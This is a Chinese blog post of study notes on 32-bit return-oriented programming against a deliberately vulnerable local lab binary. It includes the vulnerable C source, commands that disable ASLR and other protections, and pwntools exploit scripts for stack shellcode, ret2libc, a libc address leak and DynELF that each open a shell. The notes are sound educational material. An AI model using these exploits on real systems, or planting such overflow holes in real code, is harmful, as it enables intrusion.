蒸米32位ROP笔记 1

本文最后更新于:3 年前

简介

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以 用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

Linux常见保护技术

  • Canary
  • Fortify
  • NX/DEP
  • PIE/ASLR
  • RELRO

0x01 、x86 ROP

level1——栈上执行shellcode

level1.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

使用如下指令编译,关闭所有编译保护:

1
gcc -m32 -fno-stack-protector -z execstack -o level1 level1.c
  • -m32参数指定编译为32位程序;
  • -fno-stack-protector参数指定不开启堆栈溢出保护,即不生成 canary;
  • -z execstack参数指定允许栈执行,即不开启NX。

关闭整个linux系统的ASLR保护:

1
sudo echo 0 > /proc/sys/kernel/randomize_va_space

运行程序,输入一串字符串然后返回helloworld;file查看是个动态链接的32位文件;checksec查看所有安全编译选项都没有开:

image-20200813101434251
image-20200813101434251

利用pattern脚本生成测试字符串,通过gdb调试程序,输入字符串后得到内存溢出的地址,并利用pattern计算偏移(从变量写入处到eip顶内存长度),可得到溢出偏移量为140。

image-20200813103438372
image-20200813103438372

如果能构造一个[shellcode][“AAAAAAAAAAAAAA”….][ret]字符串,程序执行ret地址上的代码。但是我们要知道shellcode所在的内存地址。

注意使用gdb调试程序时,查询内存中shellcode的地址是错误的,原因是gdb的调试环境会影响buf在内存中的位置,即使关闭了ALSR,解决的办法是开启core dump

1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

运行程序并触发栈溢出,使用gdb打开core dump文件即可得知真正的code_shell地址为0xffffcf60

image-20200813104323847
image-20200813104323847

EXP:

1
2
3
4
5
6
7
8
9
from pwn import * 

p = process("./level1") # 打开程序

shellcode = asm(shellcraft.sh()) # 生成shellcode
shellcode_addr = 0xffffcfb0 # shellcode地址
payload = shellcode.ljust(140, "A") + p32(shellcode_addr) # 拼接shellcode
p.sendline(payload)
p.interactive()
image-20200813105131446
image-20200813105131446

除了本地调试,还有远程部署的方式,如下,将题目绑定到指定端口上:

1
socat tcp-l:10001,fork exec:./level1

payload除了将p = process(“./level1”)改为p = remote(“127.0.0.1”, 10001)外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址,即可远程getshell。

level 2 - ret2libc 绕过 DEP 防护

和level1一样的代码,不过在用GCC编译删掉关闭NX保护即栈执行的参数。

1
gcc -m32 -fno-stack-protector -o level2 level1.c
NX开启
NX开启

开启nx保护后,堆栈中的shell_code无法执行,但可以通过ROP绕过,因为程序会调用函数库libc.so,并且libc.so里保存了大量可利用的函数如system()/bin/sh,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。

因为我们关掉了ASLR,此时system()函数和”/bin/sh”字符串在内存中的地址是不会变化的。

使用GDB进行调试,在main打下断点然后运行,程序在main断点处停下再通过print命令打印system字符串的地址为0xf7e3ddb0,使用find [起始地址],[+搜索长度],[字符串]获取"/bin/sh"内存地址0xf7f5eb0b

image-20200813112151466
image-20200813112151466

注意:system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。

EXP:

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = process("./level2")

system_addr = 0xf7e3ddb0 # system函数地址
binsh_addr = 0xf7f5eb0b # /bin/sh 地址

payload = "A" * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
p.sendline(payload)
p.interactive()
image-20200813112549475
image-20200813112549475

level 2 - 通过 ROP 绕过 DEP 和 ASLR 防护

开启在level1中关掉的ASLR,开启ASLR后libc.so地址每次都是变化的:

1
sudo echo 2 > /proc/sys/kernel/randomize_va_space

虽然每次程序运行的地址都是变换的,但是程序在内存中的地址并不随机。

img
img

思路是:程序先泄露出libc.so某些函数在内存中的地址,再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,最后执行我们的ret2libc的shellcode。

利用objdump来查看可以利用的plt函数和函数对应的got表:

image-20200813113550676
image-20200813113550676

通过write@plt()函数把write()函数在内存中的地址(write.got)给打印出来,然后计算system()和"/bin/sh"与write()在函数库libc.so中的offset(相对地址)得到最后的地址。再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。

Q: 为什么用的是调用write@plt()打印write@got()?

A:write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

通过ldd命令可以查看目标程序调用的so库。随后把libc.so拷贝到当前目录,并以此来计算相对地址。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

p = process("./level2")
elf = ELF("./level2")
libc = ELF("libc.so.6")
# libc = elf.libc # 用pwntools库的elf.libc来获取libc.so库

write_plt = elf.plt["write"] # 获取程序中的write.plt
write_got = elf.got["write"] # 获取程序中的write.got
vulnerable_function_addr = elf.symbols["vulnerable_function"] # 漏洞函数地址
print "[*]write() plt: " + hex(write_plt)
print "[*]write() got: " + hex(write_got)
print "[*]vulnerable_function() addr: " + hex(vulnerable_function_addr)

payload = "A" * 140 + p32(write_plt) + p32(vulnerable_function_addr) + p32(1) + p32(write_got) + p32(4)# payload合成

print "[*]sending payload1 to leak write libc addr..."
p.sendline(payload)
write_addr = u32(p.recv(4)) # 接受返回的内存地址

print "[*]leak write libc addr: " + hex(write_addr)

libc.address = write_addr - libc.symbols["write"]
system_addr = libc.symbols["system"]
binsh_addr = next(libc.search("/bin/sh"))
print "[*]system() addr: " + hex(system_addr)
print "[*]binsh addr: " + hex(binsh_addr)

payload2 = "A" * 140 + p32(system_addr) + p32(0xdeedbeef) + p32(binsh_addr)

print "[*]sending payload2 to getshell..."
p.sendline(payload2)
p.interactive()
image-20200813121712085
image-20200813121712085

level2——Memory Leak & DynELF

当无法获得目标的libc.so的情况下,如何获得偏移地址呐?

这时候可以通过内存泄漏来搜索内存找到system()的地址。这里我们采用pwntools提供的DynELF模块来进行内存搜索。但是需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少 1 byte的数据。

1
2
3
4
5
6
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./level2'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。

要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串/bin/sh在内存中的地址。所以我们在payload中需要调用read()将/bin/sh这字符串写入到程序的.bss段中。

.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2或在IDA中通过ctrl+s获取到.bss段的地址。

image-20200813153850779
image-20200813153850779

因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。

利用的是ROPgadget工具快速查找可用gadget,ROPgadget --binary level2 --only "pop|ret"

image-20200813154618698
image-20200813154618698

思路:首先通过DynELF获取System()地址,通过read()把/bin/sh写入到.bss段中,通过gadget清空read()栈上参数,调用system("/bin/sh")。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

p = process("./level2")

elf = ELF("./level2")
bss_base = elf.bss() # 获取bss段地址
# bss_base = 0x804a020
plt_write = elf.plt["write"] # 获取write.plt
plt_read = elf.plt["read"] # 获取read.plt
vulfun_addr = elf.symbols["vulnerable_function"] # 漏洞函数地址
print "[*]write() plt: " + hex(plt_write)
print "[*]read() plt: " + hex(plt_read)
print "[*]vulnerable_function() addr: " + hex(vulfun_addr)
print "[*].bss addr: " + hex(bss_base)

def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
# print "%#x => %s" % (address, (data or '').encode('hex'))
return data

d = DynELF(leak, elf=ELF('./level2'))
# 查找 system 和 libc address
system_addr = d.lookup('system', 'libc')
print "[*]system() addr: " + hex(system_addr)

pop_pop_pop_ret = 0x080484f9 # pop*3+ret add
payload2 = "A" * 140 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_base) + p32(8) # 写入read
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_base) # 调用system

p.sendline(payload2)
p.sendline("/bin/sh\0")
p.interactive()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!